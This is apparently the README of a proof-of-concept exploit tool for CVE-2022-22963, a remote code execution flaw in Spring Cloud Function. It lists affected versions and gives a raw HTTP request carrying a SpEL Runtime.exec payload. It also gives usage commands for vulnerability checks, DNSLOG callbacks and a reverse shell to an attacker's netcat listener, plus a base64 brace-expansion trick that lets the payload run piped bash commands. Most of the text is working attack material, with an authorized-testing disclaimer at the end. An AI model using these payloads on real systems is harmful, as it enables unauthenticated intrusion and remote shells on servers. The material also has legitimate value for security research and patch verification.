
CVE-2022-22963-poc
Spring Cloud Function SpEL 표현식 주입 원격 코드 실행 취약점 탐지 및 활용 도구.
CVE-2022-22963는 Spring Cloud Function 라우팅 기능의 고위험 RCE 취약점입니다(CVSS 9.8). 애플리케이션이 /functionRouter 엔드포인트를 활성화하면, spring.cloud.function.routing-expression 요청 헤더의 값이 SpEL(Spring Expression Language) 표현식으로 직접 실행되어, 공격자가 인증 없이 대상 서버에서 임의의 시스템 명령을 실행할 수 있습니다.
영향 받는 버전:
| 브랜치 | 영향 받는 버전 | 수정 버전 |
|---|---|---|
| 3.1.x | < 3.1.7 | 3.1.7 |
| 3.2.x | < 3.2.3 | 3.2.3 |
취약점 원리:
POST /functionRouter HTTP/1.1
Host: target.example.com
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("id")
Content-Type: application/x-www-form-urlencoded
test
서버가 SpEL을 실행하면, exec()가 Process 객체를 반환하고, Spring이 이를 직렬화하려 할 때 예외가 발생하여 HTTP 500 응답을 반환합니다. 명령은 백그라운드에서 비동기적으로 실행되며, 결과가 HTTP 응답에 표시되지 않으므로 DNSLOG 또는 리버스 셸 등 측면 채널을 통해 확인해야 합니다.
ping 요청을 보내 DNS 레코드를 통해 명령 실행 확인pip install requests
Python 3.6+ 기타 종속성 없음.
python3 CVE-2022-22963.py -u <目标URL> [选项]
python3 CVE-2022-22963.py -u http://target.example.com -c
2024-01-01 12:00:00 - INFO - [+] http://target.example.com 存在漏洞!
회신이 없는 경우 명령이 실제로 실행되었는지 확인:
python3 CVE-2022-22963.py -u http://target.example.com -m dnslog -d abc123.dnslog.cn
2024-01-01 12:00:01 - INFO - [+] payload 已发送,请检查 abc123.dnslog.cn 是否收到 DNS 请求(确认实际执行)
그 후 DNSLOG 플랫폼에서 대상 IP로부터 DNS 조회 기록을 받았는지 확인합니다.
공격자 머신에서 리스닝:
nc -lvnp 9999
payload 전송:
python3 CVE-2022-22963.py -u http://target.example.com -m shell -i 192.168.1.100 -p 9999
2024-01-01 12:00:02 - INFO - [+] payload 已发送,请在 192.168.1.100:9999 等待连接(仅支持 Linux/bash 目标)
참고: 리버스 셸은 대상 시스템에
/dev/tcp지원이 있어야 하며, Linux + bash 환경에서만 작동합니다. Windows 대상이나 sh/ash/dash 등의 셸은 지원하지 않습니다.
탐지 요청은 /functionRouter에 실제 SpEL 표현식을 전송합니다:
T(java.lang.Runtime).getRuntime().exec('id')
Process 객체를 직렬화할 수 없음 → HTTP 500 + "path":"/functionRouter"Runtime.exec(String)은 쉘 해석을 거치지 않고 공백을 기준으로 명령 문자열을 토큰화하므로 파이프와 리디렉션을 처리할 수 없습니다. 도구는 다음 방식으로 우회합니다:
{cmd,arg}를 사용하여 공백 대체-c 매개변수가 파이프와 리디렉션 처리bash -c {echo,BASE64}|{base64,-d}|{bash,-i}
↕ Java exec 按空格 tokenize
["bash", "-c", "{echo,BASE64}|{base64,-d}|{bash,-i}"]
↕ bash -c 对参数做 brace expansion
echo BASE64 | base64 -d | bash -i
| 날짜 | 버전 | 설명 |
|---|---|---|
| 2023-12-28 | v1.0 | 초기 버전 출시 |
| 2025-10-09 | v1.1 | 코드 리팩토링, 매개변수 처리 및 오류 처리 최적화 |
| 2026-06-29 | v1.2 | 탐지 오탐 수정, context path 경로 연결, exploit 반환값 의미 문제 수정 |
본 도구는 보안 연구, 승인된 침투 테스트 및 교육 목적으로만 사용됩니다.
본 도구를 사용함으로써 다음에 동의하는 것으로 간주됩니다:
저자는 어떠한 무단 사용 행위와 그 결과에 대해서도 책임을 지지 않습니다.
| 매개변수 | 설명 | 기본값 |
|---|
-u, --url | 대상 URL (필수) | — |
-c, --check | 취약점 존재 여부 탐지 | — |
-m, --mode | 활용 모드: dnslog 또는 shell | — |
-d, --dns | DNSLOG 도메인 (-m dnslog 사용 시) | — |
-i, --ip | 리버스 셸 수신 IP (-m shell 사용 시) | — |
-p, --port | 리버스 셸 수신 포트 | 9999 |
-t, --timeout | 요청 타임아웃 (초) | 5 |